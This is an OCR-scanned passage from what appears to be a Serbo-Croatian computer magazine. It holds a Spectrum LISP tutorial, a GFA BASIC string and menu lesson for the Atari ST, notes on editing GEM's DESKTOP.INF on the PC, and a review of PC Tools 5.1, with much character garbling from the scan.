ja2... funkcijan)

Pri izvrsenju funkcije progn, lista promjenjivih

bi definisala sve lokalne promjenjive u progn

funkeiji. Zatim bi se redom bezuslovno izvrsi-

le sve funkcije i kao rezultat vratila posljednja.

Primjer:

(progn 0 (pend) (fwd 10) (right 30) _(fwd 10)

Dosta je Cudno da je u LISP-u funkcija progn

napadana kao goto u Pascal-u, jer suviSe vezu-

je za „normalne" jezike. Mozda tome doprino-

si i njeno ime (treba je progn-ati iz LlSP-a). Isti

efekat se, inace, posti^e i pomocu (while t,,.).

Za aktiviranje „skupljaca smeca" korlsti se

gc nakon cega bi se memorija trebala optimi-

zovati, no obicno se Spectrum blokira nakon
toga.

Ako imamo vise atoma mozemo ih spojiti u

jednu listu. Evo primjera (list 1 3 5), Ovo ce

dati listu (1 3 5), Dakle, Amkcija list vrsi to

spajanje.

Funkcije plus (u nekim verzijama difference

ili minus), times, div (negdje quotient) i rem
(negdje remainder) kao argumente traze 2 nu-

mericka atoma, a kao rezultat vrate 1 i to zbir,

razliku, proizvod, kolicnik 1 ostatak po dijelje-

nju ova dva respektivno. Neke verzije LISP-a

mogu imati i neogranicen broj argumenata. Iz-

racunajmo, npr 7h«8 + 2. To je u LISP notaeiji

(plus (times 7 8) 2),

S jednim argumentom, naravno numeric-
kim atomom, postoje jos dvije aritmeti£ke fun-

kcije. To su addl i subl koje uvecavaju, odnos-

no umanjuju dati argument za jedan,

Primjeri;

(addl 5)

(subl 32)

Prvi primjer ce ispisati broj 6, a drug! 31.

Poredenje dva broja vr§i se funkeijama eq,

greaterp i lessp. Argumenti ovih funkcija su

dva numericka atoma (s tim sto kod eq mogu
biti i alfanumeriCki, ali ne i liste). Rezultati

ovih funkcija su t ako je

1. za eq prvi argument jednak drugom
2. za greaterp prvi veci od drugog

3. za lessp prvi manji od drugog

Primjeri:

(eq 3 4)

(greaterp 5 3)

(lessp 2 8)

Prvi primjer ce ispisati nil, a ostala dva t.

Provjera da li je broj negativan vrsi se fun-

kcijom minusp. Ona ce vratiti t ako je broj ne-

gativan, a nil ako je pozitivan.

Primjer;

(minus -4)

Ovo ce ispisati t.

Da li je broj nula provjerava se funkcijom

zerop. Ona ce vratiti t ako je broj nula, a nil

ako nije.

Primjer:

(zerop lopta)

Ako je vrijednost varijable lopta jednaka 0 is-

pisuje t, inace nil.

Argument funkcije atom moze biti bilo §ta,

a njena vrijednost je t samo ako je taj argu-
ment zaista atom.
Primjer: (atom 12)

Posto je 12 broj, a samim tim i atom, rezultat

je t.

Slicno prethodnim, provjera da li je argu-

ment broj vrsi se pomocu funkcije numberp,
koja vraca t ako je argument broj.

Primjer:

(numberp (quote golub))

dace nil, jer rijec golub nije broj.

Kao Sto se moglo i ocekivati, implementira-
ne su Bulove funkcije and, or i not Prve dvije

imaju dva argumenta koji su predikatske fun-

kcije, a treca samo jedan, One vr§e konjunkei-
ju, disjunkeiju dva argumenta, odnosno nega-
eiju jednog. Posto su u nasim £asopisima ^n-
keije ovog tipa obradene vi§e puta nego Icvad-

ratna jednacina, dacemo samo jedan primjer:

(and (greaterp a 5) (zerop b))

Ovo ce vratiti t ako je a veca od "5
i b jednako

null. Ako bar jedan uslov nije ispunjen, rezul-

tat je nil.

Veoma vazna funkcija je cond, cija je namje-
na slicna namjeni if naredbi u vecini program-
skih jezika. Njen opsti oblik je

(cond (pi fl) (p2 f2),.. (pn fn))

gdje su pi, p2... pn predikatske, a fl, f2... fn

funkcije bilo kog tipa (ako ste zaboravili, pred-

ikatske funkcije su one koje imaju za vrijed-

nost t ili nil). Kako ovo radi? Izraiiuna se vri-

jednost pi. Ako je pl«t, izracuna se zatim fl i

izade iz cond. Ako je pi = nil, prelazlmo na p2
i ponavljamo postupak dok jedna od predikat-

skih funkcija ne postane t. Ako nijedna nije t

izaci ce se iz cond s rezultatom nil ili se bloki-

rati,

Primjer:

(cond ((equal a 5) (setq a b)))

Ovo je isto kao u BASIC-u;

IFA =5THENLETA=B
Na§e funkcije mozemo definisati pomocu

setq 1 lambda funkcije, sto cesto nije do kraja

implementirano, ali i pomocu funkcije de. Op-

§ti oblik funkcije de je

(de ime (lista promjenjivih) (tijelo ^nkeije))

Kada pozovemo definisanu funkciju na uo-

bicajen nacin, promjenjive ce dobiti vrijednost

iz liste, a zatim ce se izracunati funkcija.

Za razliku od Pascal-a i C-a sve promjenjive

se definiSu u listi argumenata, ali to i nije pro-

blem, jer promjenjive koje ne pozovemo auto-

matski postaju nil. Definisacemo funkciju mi-

nus koja je ponegdje implementirana kao
unarna funkcija koja mijenja predznak broja:

(de minus (k) (diff 0 k))

Probajmo: (minus 5)

Drugi LISP-ovi koriste putd funkciju u istu

svrhu.

Ve^ smo se upoznali s funkcijom setq. Ona
dodjeljuje vrijednost promjenjivoj Cije ime
znamo unaprijed. Nasuprot tome, funkciju set

koristimo kada ne znamo ima unaprijed. Red-
mo:

(setq qq 5)

ima isti efekat kao

(set (quote qq) 5)

ili cak

(setq w (quote qq))
a zatim

(set w 5)

Posljednja naredba nece dodijeiiti 5 varijabli

w, vec varijabli qq, jer se qq sadrzi u w! Pored
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set i setq postoje i cset i csetq za defininsanje

konstanti. Vrijednosti ovih konstanti se mogu
uoCiti i pri izvrfenju oblist funkcije, §to kod set

i setq nije slucaj. Sintaksa je ista.

Za izdvajanje pojedinih elemenata iz liste

sluze car i cdr runkcije. Funkcija car vraca

prvi eiemenat liste, a dinkcija cdr vraca listu

bez prvog eiementa. Probajmo;

(car (quote (1 2 3 4)))

Rezultat je 1, §to je i za ocekivati. Probajmo sa-

da:

(cdr (quote (1 2 3 4)))

Rezultat je sada lista (2 3 4) .

Mudrim kombinovanjem car i cdr mozemo
pristupiti svakom elementu liste. Da ne bismo

pretjerali u kucanju LISP dopusta i funkcije

poput caddaar. Ona je skracenica za (car (cdr

(cdr (car (car lista})))), tj. svako slovo a zamje-

njuje car, a d cdr. Na zalost, spectrumov LISP

je implementirao samo cddr i cadr, od kojih

prvi vraca listu od treceg eiementa do kraja

liste, a drugi vraca drugi element liste.

Funkcija quote vam je poznata, ona ima
funkciju navodnika

Za spajanje atoma i listi sluzi funkcija cons.

Ako su oba njena argumenta atomi, spoji ih u

par. Ako je prvi atom, drugi lista, stavi atom
na poCetak liste. Ako je prvi lista, drugi atom,

spoji ih u par od liste i atoma. Najzad, ako su

oba liste. dobije se slozena lista, prvi element

je lista, a ostali atomi.

Primjeri;

(cons 7 4)

(cons 3 (quote (5 6 7 )))

(cons (quote (1 3 5)) 6)

(cons (quote (1 2 3)) (quote (4 5 6)))

Rezultati (redom);

(7.4)

3 5 6 7)

1 3 5). 6)

((1 2 3) 4 5 6)

Promjena elemenata liste vrsi se pomocu
rplaca i rplacd koje mijenjaju car, odnosno
cdr dio liste. Prvi argument obije funkcije mo-
ra biti lista, dok drugi moze biti atom ili lista,

iako je za rplaca obicno atom, a za rplacd lis-

ta.

Primjeri;

(rplaca (quote (1 2 3)) 4)

(rplaca (quote (1 2 3)} (quote (4 2)))

(rplacd (quote (7 8 9)) 6)

(rplacd (quote (1 2)) (quote (3 4)))

Rezultati;

(4 2 3)

((4 2) 2 3)

(7.6)

(3 3 4)

Funkcija stack mijenja adresu steka, cime se

brisu sve varijable i nase funkcije. Primjer:

(stack 30000)

Funkcija null vraca t ako joj je argument nil

ili prazna lista.

Primjer: (null nil) daje t.

Jedina funkcija cija sintaksa nije otkrivena

je function. LISP za APPLE ima, doduse, fun-

ctionp koji provjerava da li je argument fun-

kcija. Ako otkrijemo svrhu i sintaksu ove fun-

kcije objavicemo u jednom od sljedeca 2 na-

stavka.

U sljedecem nastavku, inace, dacemo neko-

liko primjera programa u LISP-u.

O

ATARI ST. SKOLAGFA BASIC'S

Stringovi i meniji
GFA bejzik raspolaze sirokim
asortimanom naredbi koje rade
sa stringovima. Mogu se naci i

naredbe koje bi nedostajale i

boijim tekst procesorima. Osim
stringova, u ovom nastavku bice
reci i o koriscenju menija.

Pise Dusan Dimitrijevic

GFA bejzik u veiikoj meri podrzava stringo-

ve. U njih se moze smestiti tekst, sprajt, parce

slike, ceo ekran a mogu sluziti i kao baferi pri

pozivima TOS-a. Mi cemo se zadrzati na

„tekst-stringovima".

Jedan string mozete ..napuniti" na mnogo
nacina: mozete direktno zadati njegov sadrzaj,

ili ga uneti pomocu INPUT, spojiti ili oduzeti

dva ili vise stringova, pretvoriti broj u string,

cak mozete i da isecete proizvoljno parce ne-

kog drugog stringa! No, krenimo redom.

Unos stringova

Duzina stringa, zvanicno, nije ogranicena,

ali ne treba preterivati jer se desavalo da sis-

tem par puta padne zbog predugackog stringa.

To se uvek desavalo iz interpretera, koji izgle-

da ovo ne moze da „svari". Dakie, jedan alfa-

numericki string mozemo da napuiiimo sa:

A$ = "SVET KOMPJUTERA"
gde direktno zadajemo vrednost stringa;

A$ = SPACES (100)

puni AS sa 100 blanko karaktera (SPACE);

INPUT AS
kompjuter ceka da unesemo tekst i pritisnemo

RETURN;
FORM INPUT N,A$

unos teksta zadate duzine. N je broj koji ozna-

cava koliko karaktera moze maksimalno da se

unese. Kada dode do granice kompjuter ce vas

zvucno obavestiti i nece vam dozvoliti dalji

upis karaktera. Ova naredba radi u INSERT
modu, tako da mozete koristiti Backspace i

Delete. Ovom naredbom mozete uneti maksi-

malno 255 karaktera.

FORM INPUT N as D$
edituje string. Ako vec postoji neld string DS,

ovom naredbom kompjuter ce taj string od-

stampati i cekati da ga ispravite, potom ce ta-

kav string vratiti u D$. Duzinu stringa (N) ne

mozete prekoraciti;

LINE INPUT A$, B$, C$...

unos stringova u kontinuitetu

LINE INPUT #1, AS,

unos iz fajla koji se vrsi do nailaska na kod za

RETURN (CR LF);

AS = INPUTS (N, # 1)

unos sa fajla. N oznacava koliko ce se karakte-

ra smestiti u A$. Unos ne mora biti od pocetka

fajla ako prethodno koristimo naredbu SEEK.

AS = INPUTS (N)

unos podataka zadate duzine (N) bez vidljivog

upisivanja. Kompjuter ce za vreme upisivanja

sakriti kurzor tako da morate kucati „na sle-

po".

Editovanje stringova

Prilikom editovanja nekog stringa mozemo
promeniti njegov celokupan sadrzaj ili pak sa-

mo jedan deo; isto tako mozemo i ispitati da li

odreden string sadrzi neko slovo ili slog, i na

kom mestu, i jo§ mnogo toga.

Uz sledece primere dacemo i rezultate sva-

ke operacije.

Naredba INSTR siuzi za pronalazenje odre-

denih slova ili slogova u okviru jednog stringa.

Ako trazimo poziciju jednog slova a postoji vi-

se istih slova unutar stringa, bice vracena

vrednost prvog pronadenog slova (sleva na

desno). Sintaksa je sledeca:

AS = „SVET KOMPJUTERA"

PRINT INSTR (AS,"]")

Mogli smo da stavimo i

PRINT INSTR (4,A$,"J")

i tada bi trazenje pozicije slova "J" pocelo tek

od cetvrtog mesta u stringu. Ako trazeno slovo

ili slog ne postoje, vratice se vrednost 0.

Sledece dve naredbe sluze da odseku parce

stringa s leve ili desne strane.

A$ = "SVET KOMPJUTERA"
B$ = LEFTS (A$,4)

Rezultat: u B$ se nalazi „SVET’'. Da smo stavi-

li:

B$ = RIGHTS (.AS, 10}

B$ bi sadrzavalo ..KOMPJUTERA''. Dakie, na-

redba LEFTS odeseca zadatu duzinu karaktera

s leve strane, dok RIGHTS radi to isto samo
zdesna. Sta ako nam treba sredina stringa? Za
to postoji naredba MIDS i poziva se:

MIDS (A$,N,B)

N oznacava od kog ce karaktera poceti citanje,

dok B predstavlja broj karaktera koji se cita.

Prilikom zadavanja vrednosti N imajte u vidu

to da se zadavanje 0 i 1 dobija jedno te isto -

oba oznacavaju prvo slovo u stringu. Evo i par

primera sa rezultatima:

AS = "SVET KOMPJUTERA"
PRINT MIDS (A$,4 = > „TERA"

PRINT MIDS (AS,1,4) = > ..SVET'

PRINT MIDS (AS, 6,3) = > „KOM"

Ova naredba moze i direktno uticati na

string koji se cita ako primenimo sledece:

MIDS (A$.l,3) = "XXX"
Na ovaj nacin se karakteri od prvog do treceg

mesta zamene sa karakterima unutar navodni-

ka. Neka je, na primer AS = "GRAFOLOGI-

JA". Ako primenimo MIDS (AS, 1,4) = "PSIH"

dobicemo sasvim novu rec - "PSIHOLOGIJA"!

Pretvaranje stringova

Pretvaranje pojedinih karaktera u odgovara-

juci ASCII kod i obrnuto vrsi se na sledeci na-

cin;
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SERVIS —

DESKTOP.INI

PRINT CHR$ (N)

odstampaj znak sa ASCII kodom N.
PRINT ASC (A$)

odstampaj ASCII kod prvog slova u stringu.

Ako imate vise karaktera u okviru stringa; a

zeleli biste ASCII vrednosti svih njih, otkucaj-

te:

A$ = "TEXT"
FOR N = 1 TO LEN AS
PRINT ASC (MIDS (A$,N,1));" "•

NEXT N
_

U AS se nalazi tekst, zatim se postavlja pet-
Ija koja ce se vrteti od 1 do broja karaktera u
stringu, i Stampa se ASCII vrednost jednog po
jednog karaktera koji se „cupa'’ sa MIDS
Ako treba da bro] pretvorite u odgovarajudi

string primenite naredbu STR$ (N) gde je N
taj broj.

Naredba UPPER$(A$) ce pretvoriti sva ma-
la slova unutar stringa u velika.

0 „jelovnicima''

S obzirom da je drop-down meni osnovni
korisniCki interfejs na ST-u, GFA ne bi bio ono
sto jeste ako ne bi mogao i to da savlada. Kako
^zgleda rad sa menijima pogiedajte na listingu

• ««««««« LISTING 1 ********
Dim A*(25)
For N=0 To 24

Read AS(N)
Exit If =

Next N

A*(N) = "''

A«(N+1) = ‘'

Data DESK, " INFO
Data 1,2,3,4,5,6,'’'’
Data FILE, LOAD , SAVE
Data

, EXIT ,

Data HELP, HELPl, HELP2, "

Data EDIT, EDITI, EDIT2, EDITS,’"'
Data «*«

Print At(l,3)

Menu A% (

)

Menu 20,1
Menu 22,2

On Menu Gosub Menu

Do
On Menu

Loop

Procedure Menu
Print "SELEKTOVANO JE:

"

Print A*(Menu(0)

)

If A*{Menu(0) )=• EXIT "

End
Endif
Menu Off

Return

Najpre se dimenzionige prostor za tekst me-
nija. Onda se naziv menija i nazivi opcija cita-

ju iz DATA linija, u okviru petlje, iz koje se iz-

lazi kada se naide na tri zvezdice Zatim
se meni instalira i ulazi u petlju koja ispituje

da li je izabrano nesto iz njega. Ako jeste, ska-

ce se na potprogram koji ispituje sta je izabra-

no i dalje se grana u odnosu na uslove,

Treba napomenuti da su kao nazivi prvih

sest opcija stavljeni brojevi od 1 do 6. To je za-

to da bi se sacuvao pristup ACC programima
koji su instalirani,

O

U Sveta kompjatera
svojevremeno su objavljena dva
clanka (jedan a proslogodisnjem
aprilskom, drugi u
proSIogodisnjem junskow broja
SK) koji govore o datoteci

DESKTOP.INF na Atariju ST.

Autor teksta je vlasnik jednog
„zutog" PC-ja i na njemu ima
instaliran GEM pa ga je stvar
pocela interesovati. I sam je
prepravijao tu datoteku, najvise

zbog prevodenja engleskih reel

na nas jezik. Preveo je skoro
ceo GEM ali je na ekranu ispod
kante za sntece jos uvek stajalo

ono „TRASH". Tako se upoznao
i sa datotekom DESKTOP.INF a
kojoj su, a liniji # T, skriveni
podaci vezani za izgied

GEM-ekrana.

Pi$e Bogdan Lemut

Uprincipu sve linije ove datoteke

imaju sliCan znacaj kao i kod Atari-

ja. I na PC-ju postoje linije #D,
#F, #E, #G, #M, #P, #T, i #W (za

# A, # B i # C n'e znam).

Linije koje pocinju sa # G, # F i # P opisu-

ju programe i datoteke. Ove linije mogu se

proizvesti pomocu „install aplication" koman-
de u GEM DESKTOP-u. Pomocu mi§a odabi-

ramo program (ikona se na monitoru inver-

zno oboji). Potrazirao „install aplication" me-
ni, i u njemu za odabrani program odredimo
sledece parametre;
- tipove datoteka koje su vezane za taj pro-

gram
- tip programa - GEM (tip. APP)

- DOS
- DOS koji uzima parametre

- da li mu treba citava memorija
- vrstu ikone

Zavisno od odabranih pararaetara kreirace se

nova linija u datoteci DESKTOP.INF.
GEM program! dobijaju #G, DOS progra-

mi bez parametara #F, a sa parametrima
#P. Ako se specificira da programu treba ci-

tava memorija, slova P, F ili G ce se pretvoriti

u mala: p, f i g.

Iza oznake tipa programa slede dva broja

koja govore o vrstama ikona. Prvo broj daje

ikonu za program, drugi za datoteke koje su

vezane za taj program. Iza tih brojeva dolazi

prvo ime programa, zatim ono „majmunsko a"
i popis tipova datoteka koje pripadaju tom
programu. Ako ima vi§e tipova datoteka, oni
se razdvajaju zarezom, Na kraju opet dolazi

ono „africko cudo".

Na zalost, instalacija pomocu GEM-a ne
omogucava instaliranje nekog tipa datoteke

bez odredivanja programa za koji je datoteka
vezana. Tako nesto se ipak moze postici „pe§-
ke", ako se ispred prvog „majmunskog a" osta-

vi prazno mesto.-

U sustini stvari stoje ovako: prvi broj odre-
duje ikonu za fajlove koji su napisani ispred
prvog „majmuna", a drugi broj specificira iko-

nu za fajlove iza njega.

Za razliku od Atarija, na PC-ju postoji vi§e

vrsta ikona. Prvih pet je vezano za radnu oko-
linu, Brojevi tih ikona idu ovako:

00 = tvrdi disk

01 = disketa

02 = program
03 « kanta za smece
04 = direktorijum (mapa, folder)

Brojevi 05-08 daju istu ikonu kao broj 02.

Pored ovih ikona GEM na PC-ju dozvoljava
predstavu programa i datoteka s obzirom na
podrueje koje oni obraduju. Tako nam na ras-

polaganju stoje jos 32 ikone - 16 za programe i

16 za datoteke. Brojevi za pro^ramske ikone
idu ovako;

08 “ bilo koji program
09 = program za tabelarne proracune

(spreadsheet)

OA = tekst procesor

OB = baza podataka
OD = program za ertanje (tipa

DRAW.APP)
OD program za slikanje (tipa

PAINT,APP)
OE = kompajler za neki programski jezik

OF = program za ertanje grafikona

10 = razvojni program
11 = program za finansijske posiove
12 = program sa vise funkeija

13 = edukativni program
14 = program za komunikaeije
15 = programerska alatka

16 = igra

17 = drajver za printer

Za ikone koje predstavljaju datoteke brojevi

idu istim redom, s tim Sto pocinju sa brojem
28 i idu do broja 37. Uglavnom se ove ikone

odnose na datoteke koje generigu ili obraduju

program! za to podrueje. Na primer, program
dBASE III PLUS radi sa datotekama tipa DBF.
Nar^no da ce se za njihovu prezentaeiju

upotrebiri ikone sa brojevima OB i 2B. U dato-

teku DESKTOP.INF cemo, dakle, staviti liniju

#P0B2B DBASE.EXE® ^.DBF®
ili mozda

#P0B2B DBASE.EXE® :5:.DBF,>i!.NDX®

ako se zele oznaciti i indeksne datoteke.

Na slid 2 vide se sve ikone koje sadrzi

GEM.
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? na PC-JU
U #D liniji se opisuje vrsta ikone, koja

predstavlja neki direktorijum (folder). Ovakva
linija ima slicnu sintaksu kao linije #P. #F i

#G. Tako bismo, na primer, za direktorijum

UnUTY, u kojem su sme§tene programerske

alatke poput PCTOOLS-a i NORTON-a upisali

liniju

#D15FF UTILiTY® @

I tu se prvi broj ikone odnosi na specifikaci-

ju ispred prvog „majmuna", a drugi broj na
specifikaciju iza njega. Tako je moguca i linija

# D3515 D0S,GEM^:,H5@UTILITY,P^.H:@

Linije koje pocinju sa #W beleze nekoliko

podalaka o prozorima, Brojevi iza slova W
(dve cifre za svaki broj) znace sledece:

- prva dva broja pokazuju poziciju pruga za

pomeranje i to u broju ikona koji se preskace s

leva i odozgo,

- sledeca dva broja pokazuju levu gornju

poziciju prozora,

- peti i sesti broj govore o duzini i visini

prozora,

- sedmi broj ima neku vezu sa disk drajvovi-

ma - 07 ide za A:, 08 za B;, 09 za C:, itd...

j

Na kraju dolazi jos i direktorijum koji se pri-

kazuje u nekom prozoru.

U linijama koje pocinju sa #M mogu se

opisati disk drajvovi a linija #T opisuje kantu

za smece. Brojevi koji slede odreduju redom
poziciju i vrstu ikone, Obicno kao zadnji broj

stoji FF. Menjanje tog broja nema nikakve po-

sledice. Zanimljive sllke dobijaju se menja-

njem treceg broja (na primer FF), koji u stvari

predstavlja pravi broj ikone koja se ispisuje.

Po mom misljenju, na tom su mestu dva broja,

verovatno, zbog kompatibilnosti prilikom po-

zivanja nekog od potprograma koji radi sa iko-

nama (mozda gresim?). Iza ovog cetvrtog bro-

ja kod # M linija se dodaje jo§ ime disk drajva

i natpis ispod njegove ikone. Moguce je dodati

i dve linije sa istim imenom disk drajva (dvaput

B drajv), ili cak imati dve kante za smece, Sve

ce raditi besprekorno.

Prilikom pregleda datoteke DESKTOP.RSC
» primetio sam da vec sam GEM DESKTOP de-

finise sledece ikone (van DESKTOP.INF):

#FFF28 ®
# DFF02 ®
# G08FF @ *.APP®

#G08FF ®

# G08FF ® *,COM®

#G08FF ® sjs.BAT®

U GEM DESKTOP-u ne mozemo instalirati

neki fajl kao program ako nije tipa APP, EXE,
COM ili BAT. Tu manu mozemo prevazici

prepravljanjem DESKTOP.INF,

Kao primer za neke promene moze posluzi*

ti ovaj moj DESKTOP.INF, pomocu kog su na-

pravljene i stike 1 i 2;

#E3801

Slika 1

Miza Dtsk Glej Opcije

Slika 2

#W00000202521009 C:¥ jU.*®

#W0000020B200900 ®
#W00000001200900®

#W0000280C1F0900 ®
#M020600FF C TRDI DISK® @
#M010601FF B DISKETA® @
.#M00060180 A DISKETA @ @
#T080603FF SMETI®'®

#D15FF UTILITY® @
#PFF03 @ fic.BAK®

#P1424 CONFIG.SYS® @
#P01FF SZAP. COM® @
#P0828 FILE.EXE® H^-DAT®

#F0929 SCS.EXE® i^.CAL®

#F0A2A EDIT.EXE® *.TXT@

#P0B2B DBASE.EXE®

#G0C2C DRAW.APP® :1«.GEM®

# G0D2D PAINT.APP® :^.IMG@

#P0E2E PASCALEXE® jK.PAS®

?^P0F2F CHART.EXE® Hj.CHR®

#P1030 PROJECTl.EXE® *.PRO@

#P]131 ACCOUNT.EXE® *.ACC®

#P1232 MULTI.EXE® *.MLT@

#P1333 SCHOOLEXE® :|:.EDU@

# P1434 COMM.EXE® *.CMM@

#P1535 PCTOOLS.EXE® ^^^.HLP®

# P1636 GAME.EXE® *,GAM@

#P1737 PRINT.EXE® H:.PRT@

Tako to ide kod PC-ja, a kako je to kod Ala-

rija,,, neko drugi

• • •

Za otlcrivanje ovakvih malih tajni velikih

majstora...", potrebno je malo slrpijenja. Side-

kick i bar jedno poslepodne uz „Carlija".

Sve u svcmu, najsimpaticnije mi je ipak ono
#PFF03 @ JiJ.BAK®

sto svlm bekap datotekama dodeljuje kao iko-

nu kantu za smece.

O
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Ovaj izvanredai program,
mozda jedan od najpopulamijih
programa za PC i Macintosh
racunare uopste, u svojoj
najnovijoj „reinkamacip"
apsolutnp je iznenadenje za sve.
PC Tools u verziji 5.1 je,

ukratko receno, nesto sasvim
novo, mocno i vrlo, vrlo-

upotrebijivo!

Pise Dusko Savic

Opcijom Two List Display ekran se moze
podeliti na dva dela po horizontal! i u svakom
od njih se vide po prozor sa direktorijumima i

datotekama ~ kao da je pocetni par vertikal-
nih prozora presecen na dvoje. To je odgovor
na Cestu kritiku prethodnih verzija, koja je gla-
sila da se tesko prelazi sa diska na disk ili iz

imenika u imenik, Sada je moguce istovreme-
no gledati i disk A i disk C, §to je bitno unapre-
denje.

Moze se dogodili da se pravo stanje na dis-
ku i u levom prozoru (prikaz direktorija) ne
slazu, Tada treba ucitati sadrzaj diska sa Ctrl i

imenom diska (obicno neko od siova ABC
D ili E).

' '

Datoteke iz desnog prozora mogu se ozna-
cavati premeStanjem kursora ili rai§em. Ozna-
cene datoteke vide se u drugoj boji, Na njih se
primenjuju naredbe iz menija File.

Meniji i opcije

Meni File sastoji se iz sledeiiih opcija; Copy
(kopiranje oznaCenih datoteka), Move (pre-
meltanje), Compare (poredenje istovetnosti
dveju datoteka). Find (pronalazenje stringa).
Rename (preimenovanje datoteke). Delete
(brisanje). Verify (cita sve sektore u oznace-
nim datotekama i proverava im ispravnost),
View/Edit (ispitivanje uz eventualne prome-
ne, u ASCII ili HEX formatu). Attribute chan-
ge (promena atributa, vremena i datuma). Di-
rectory info (prikazuje statistike o oznacenim
datotekama i disku na kojem su). Print (§tam-
panje jedne ili veieg broja datoteke). List (pri-
nt dir) (gtampanje spiska oznacenih datoteka
iz nekog imenika), More File Info (dodatne
informacije o datotekama). Word Processor
(mali ali kompetentan ASCII editor), Run (iz-

vrSenje oznacenog programa), DOS (privre-
meni izlazak iz PCSHELL-a u DOS), Exit PC
Shell (napuStanje ovog programa).

IzvrSenje ovih opcija je po efektu isto kao u
starijim verzijama PC Tools-a. Jedino su „ob-
lande" drukcije.

DISK meni
Ni naredbe u ovom meniju nisu bitno nove:-

Copy Disk (kopiranje disketa bit po bit). Com-
pare Disk (poredenje diskova ili disketa). Se-
arch Disk (trazi zadati string na disku). Rena-
me Volume (preimenovanje diska). Verify
Disk (provera citljivosti diska), View/Edit
(pregled i eventualna promena bilo kojeg sek-
tora-na disku). Locate File (potraga za datote-
kom na disku). Format Data Disk (formatira-
nje diskete). Make System Disk (prenos sis-

temskih datoteka na novoformatirani disk).

Disk Info (nodaci o disku - koliko ima slobod-

nog prostora, broj datoteka i slicno). Directo-
ry Maint (podmeni za rad sa direktorijuma).
U ovoj poslednjoj opciji krije se jo5 pet nared-
bi: Add (dodavanje), Rename (preimenova-
nje), Delete (brisanje). Change (prelazak u te-

kuci direktorijum. Prune and Graft (prenos
celog direktorijuma, zajedno sa datotekama,
na neko drugo raesto na disku).

Meni OPTIONS
Ovde su koncentrisane naredbe za rad sa sa-

mim PCSHELL-om. Naredbu Two List Dis-
play, za istovremeni prikaz sadrzaja dva direk-
torijuma ili diska ve£ smo spomenuli. Njoj in-

verzna naredba je One List Display, za prela-
zak od prikaza dva diska na prikaz jednog dis-

ka preko celog ekrana. Ostale opcije su: Reset
Selected Fields (oznaCene datoteke postaju ne-
oznaCene), Tree/FUes Switch (prenosi kontro-
lu u trenutno neaktivan prozor\ Dir list argu-
ment (navodenjem iraena i nastavka datoteke
ograniCavamo broj i vrstu prikazivanih datote-
ka), File Select Argument (biranje datoteka, is-

to kao u DOS-u pomocu naredbi * i ?), Active
list switch (izbor prozora koji ce biti aktivan).
Screen Colors (promena boja pozadine i tek-
sta, menija i dijaloga), Size/Move window
(promena velicine i premestanje prozora po
ekranu), Date/Time (postavljanje datuma i

vremena na satu i racunaru). File display opti-
ons (nacin prikazivanja datoteke; sa ili bez ve-
liCine, datuma, vremena nastanka, atribute,
kao i razne opcije za sortiranje). Modify Ap-
plications List (promena, brisanje ili dodava-
nje pmgrama koji se mogu izvrSavati iz menija
Applications), Save configuration (upis poda-
taka koji su postavljeni u ovom meniju na
disk). Quick run (izvrgava programe ako mo-
ze, jer PCSHELL u punoj verziji zauzima 170K
memorije; prednost Je da se PCSHELL ne eva-
kui§e iz memorije ako startovani program ne
zahteva previSe memorije),
Ovom grupom naredbi bavicemo se relativ-

no retko, najverovatnije odmah po instalaciji

samog programa.

Izvrsavanje programa
Meni Applications sadrzi programe koje ko-

risnik sam instalira, Osnovna postavka je;

Compress, PC Backup, Mirror, PC Format,
PC Secure, dakle, sve programi iz samog PC
Tools-a. Ako se PCSHELL uCita kao rezidentni
program, onda se nista iz ovog menija ne mo-
ze izvrSiti. Po zavrsetku programa, povratak je

opet u PCSHELL, a ne u DOS.
Osim programa PC Secure, cianovi ovog

menija poznati su iz prethodnih verzija. Com-
press pobolj§ava performanse tvrdog diska,
eiiminisanjem fragmentacije. Naime, DOS
snma datoteke u delovima, fiziCki na raznim
delovima diska, s tim da na nekoj tabeli posto-
ji taCna informacija koji sve fragmenti diska
cine jednu datoteku, Svakim brisanjem redos-
led fragmenata se kvari i DOS u sledecem sni-

manju popunjava „rupe", Rezultat je da disk'
sporije radi jer glava prolazi dug i nasumican
put do kraja datoteke. Vremenom su se pojavi-
li programi za „sastavljanje'' datoteke, i upravo
je to uloga programa Compress.

Kompresovanje diska moze se pratiti vizuel-

no i na prvi pogled vrlo je atraktivno. Com-
press moze i da sortira imenike i datoteke,
kao i da analizira popunjenost diska, Sortira-
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nje moze biti po datumu, imenu, prezimenu
datoteke i velifiini, a osim toga mo2e biti i

standardno, po DOS konvenciji ili tako da se
na pocetak diska postave EXE i COM datote-
ke. Treba dobro razmisliti da li uopgte da se
zada neka od opcija za sortiranje jer se tada
rad silno produzava. Ako se odabere poslednja
opcija (EXE i COM datoteke na pofietak dis-
ka), onda to moze potrajati i dva do tri sata za
disk od 40 megabajta! I jo§ gore, pri tome disk
intenzivno radi, Neodgovorno kompresovanje
pravi vi§e Stete nego koristi. Treba, prosto, iz-

meriti da ii se vise vremena provede u pristu-
pu fragmentiranim datotekama ili u samom
kompresovanju.

S druge strane, kompresovanje bez sortira-
nja je sasvim brzo, u proseku traje minut do
dva,

PC Backup na disketama snima sadrzaj
tvrdog diska. U verzfji-5.x, radi se o potpuno
novom programu, tako da se datoteke naprav-
ijene sa ranijim verzijama vise ne mogu ni
pro5itati. Ali, ova verzija je superiorna. Radi
na dva naCina, koristeci DOS (sporija varijan-
ta) ili DMA, rezlm, u kojem se PC Backup ob-
raca direktno kontroleru. Datoteke se mogu
opciono sazeti pre pocetka kopiranja, Sto sraa-
njuje broj disketa i ubrzava ceo proces. PC
Backup podrzava sve vrste disketa. kao i sve
uredaje koje DOS poznaje - ukijucujuci i tra-
ke. Osim §to otkriva preko 160 vrsta gresaka u
prenosu podataka, PC Backup jo§ i proverava
kvalitet kopiranja na disketama.

Postoji nekoliko nacina kopiranja: Full (ko-
pira sve naznaCene datoteke i imenike), Full
Continual (isto kao i Full ali ne kopira sve).

Archive (kopira samo datoteke koje su se pro-
menile od poslednjeg kopiranja ovim istim
programom) i Continual (slicno kao Archive).
Razlika izmedu Full i Full Continual, kao i iz-

medu Archive i Continual je u postupku sa ar-
hivskim bitom. Naime. DOS za svaku daiote-
ku postavlja bit iz kojeg se vidi da li je bilo
promena od trenutka poslednjeg kopiranja na
diskete. U prirucniku se preporucuje sledeca
strategija za preventivno kopiranje; jednom
nedeljno kopirati sa Full (ceo disk), a svakog
dana na kraju radnog vremena samo dnevne
promene sa Archive.
PC Backup je odliSan program i treba ga ko-

ristiti.

